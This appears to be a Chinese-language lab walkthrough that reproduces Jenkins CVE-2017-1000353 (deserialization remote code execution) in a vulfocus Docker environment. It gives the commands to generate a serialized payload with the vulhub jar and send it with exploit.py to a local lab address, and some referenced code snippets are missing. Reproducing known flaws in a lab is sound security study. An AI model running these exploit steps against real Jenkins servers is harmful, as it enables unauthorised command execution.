Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
Jenkins功能包括:
- 1、持续的软件版本发布/测试项目。
- 2、监控外部调用执行的工作。
1、漏洞描述及环境
环境名称: vulfocus/jenkins-cve_2017_1000353
官方复现教程:
https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/
漏洞原理:
https://blogs.securiteam.com/index.php/archives/3171
2、漏洞复现
2.1、工具下载
首先我们先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这个是生成POC的工具,链接如下:
https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
然后执行如下代码,生成字节码文件jenkins_poc.ser,这便是序列化字符串。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
下载exploit.py文件,链接如下
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
将文件中的如下代码进行注释:
2.2、工具利用
发送字节码文件。
python3 exploit.py http://192.168.1.177:39346 jenkins_poc.ser
最开始直接用python运行发现能运行但是发送过去的文件不是字节码文件,后来改成python3格式方才正确!
如下,为正确格式:
2.3、检验
进入docker容器,
docker-compose exec jenkins bash
发现/tmp/success成功被创建,说明命令执行漏洞利用成功:
参考链接:
https://blog.csdn.net/JiangBuLiu/article/details/95475293?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param